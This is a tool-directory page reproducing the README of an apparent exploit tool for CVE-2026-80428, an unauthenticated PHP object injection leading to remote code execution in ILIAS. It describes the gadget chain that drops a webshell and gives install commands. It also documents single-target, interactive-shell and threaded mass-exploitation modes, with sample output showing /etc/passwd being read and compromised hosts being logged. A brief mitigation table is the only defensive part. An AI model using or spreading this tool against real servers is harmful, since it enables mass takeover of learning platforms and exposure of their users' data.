Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-80428 β€” ILIAS ≀ 9.21 / 10.9 / 11.2 β€” Unauthenticated PHP Object Injection (RCE) | Kitploit
Tools/GitHubGitHub/hackfutsecroot/cve-2026-80428
Vulnerability ScannersPayload GenerationExploitationWeb Application ExploitationPost-ExploitationWeb SecurityPenetration TestingRemote Access Tool
GitHubhackfutsecroot/cve-2026-80428

CVE-2026-80428

ILIAS ≀ 9.21 / 10.9 / 11.2 β€” Unauthenticated PHP Object Injection (RCE)

View Repository
21227 days agoNot yet reviewed
Website

Most Popular

View all β†’

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools β†’
Share
Typing SVG

CVE ILIAS Type Python License



🚨 ILIAS ≀ 9.21 / 10.9 / 11.2 β€” Unauthenticated PHP Object Injection (RCE)

CVE-2026-80428

Vector: Shibboleth back-channel logout endpoint
Impact: Full Remote Code Execution as web server user
Severity: πŸ”΄ CRITICAL



πŸ“– Table of Contents

  • πŸ” Overview
  • βš™οΈ Vulnerability Chain
  • 🎯 Affected Versions
  • ✨ Features
  • πŸ“¦ Installation
  • πŸš€ Usage
    • Single Target Exploit
    • Interactive Shell
    • Mass Exploitation
  • πŸ“ Target List Format
  • πŸ–ΌοΈ Screenshots
  • πŸ›‘οΈ Mitigation
  • πŸ“’ Channels & Community
  • ⚠️ Disclaimer

πŸ” Overview

CVE-2026-80428 is a critical unauthenticated PHP Object Injection vulnerability affecting ILIAS Learning Management System. By chaining a session poisoning primitive in ltiauth.php with an unsafe unserialize() call in shib_logout.php, an attacker can achieve arbitrary file write and ultimately Remote Code Execution (RCE) β€” all without authentication.


🎯 ParameterπŸ“‹ Value
CVE IDCVE-2026-80428
TypePHP Object Injection β†’ RCE
Auth Required❌ None
Attack VectorNetwork (HTTP/HTTPS)
CVSS Score9.8 (Critical)

βš™οΈ Vulnerability Chain

flowchart LR
    A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
    B -->|Serialized Guzzle Gadget| C[PHP Session Store]
    C -->|2. Trigger unserialize| D[shib_logout.php]
    D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
    E -->|3. file_put_contents| F[πŸ’€ Webshell Dropped]
    F -->|4. Execute| G[πŸ”“ RCE]

    style A fill:#ff4444,color:#fff
    style F fill:#ff0000,color:#fff
    style G fill:#8b0000,color:#fff

Step-by-step:

  1. ltiauth.php stores a serialized payload inside the PHP session without validation.
  2. shib_logout.php processes a crafted Shibboleth LogoutNotification SOAP request and calls unserialize() on the session data.
  3. The GuzzleHttp\Cookie\FileCookieJar gadget invokes file_put_contents() to drop a PHP webshell at an attacker-controlled path.

🎯 Affected Versions

🏷️ Branch❌ Vulnerableβœ… Patched
9.x≀ 9.21β‰₯ 9.22
10.x≀ 10.9β‰₯ 10.10
11.x≀ 11.2β‰₯ 11.3

✨ Features

πŸ”₯ Core

  • βœ… Unauthenticated exploitation
  • βœ… Single target mode (exploit)
  • βœ… Interactive pseudo-shell (shell)
  • βœ… Mass exploitation with multiprocessing (mass)

πŸ’Ž Quality of Life

  • 🎨 Full ANSI color output
  • πŸ”„ Automatic path fallbacks
  • 🧠 Version detection & patch check
  • πŸ“ Auto-save vulnerable targets
  • 🌐 Custom Host header support
  • πŸ”’ Legacy TLS support

πŸ“¦ Installation

# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428

# Install dependencies
pip install requests urllib3

# (Optional) Make executable
chmod +x CVE-2026-80428.py

Requirements:

  • Python 3.8+
  • requests
  • urllib3

πŸš€ Usage

python3 CVE-2026-80428.py <mode> [options]

πŸ“Œ Single Target Exploit

python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal

Options:

FlagDescriptionDefault
--portTarget port443
--pathILIAS docroot on disk/var/www/ilias/public
--host-headerCustom Host headerβ€”
--timeoutRequest timeout (s)30

πŸ’» Interactive Shell

python3 CVE-2026-80428.py shell 10.10.10.20
ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

ilias$ exit

πŸš€ Mass Exploitation

python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt

Options:

FlagDescriptionDefault
-l, --listRequired β€” Target list fileβ€”
-t, --threadsConcurrent workers20
-o, --outputOutput file for vulnerable targetsilias_vuln.txt
--pathILIAS docroot/var/www/ilias/public
--host-headerCustom Host headerβ€”
--timeoutRequest timeout (s)30

πŸ“ Target List Format

Create a targets.txt file:

# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080

# Mixed formats are supported
example.org

Supported formats:

  • host
  • host:port
  • http://host
  • https://host:port
  • host/path (path stripped)

πŸ–ΌοΈ Screenshots

🎬 Mass Scan Output

  [  42/500] VULN  10.10.10.20:443     https://10.10.10.20:443/util_a1b2c3.php?x=id
  [  43/500] SAFE  10.10.10.21:443     [PATCHED]
  [  44/500] ERR   10.10.10.22:8443    [Connection timed out]

  [44/500] VULN:12  SAFE:30  ERR:2  8%

πŸ›‘οΈ Mitigation

For defenders and system administrators:

πŸ› οΈ ActionπŸ“ Details
πŸ”Ό Upgrade ILIAS9.22 / 10.10 / 11.3 or later
🚫 Disable ShibbolethIf not used β€” remove shib_logout.php
🧱 WAF RulesBlock malformed SOAP LogoutNotification payloads
πŸ“‚ Restrict Write AccessWeb root should not be writable by www-data
πŸ” MonitorLook for unexpected .php files in upload/cache dirs

πŸ“’ Channels & Community

🌐 Join the Community


Β 



Download Tool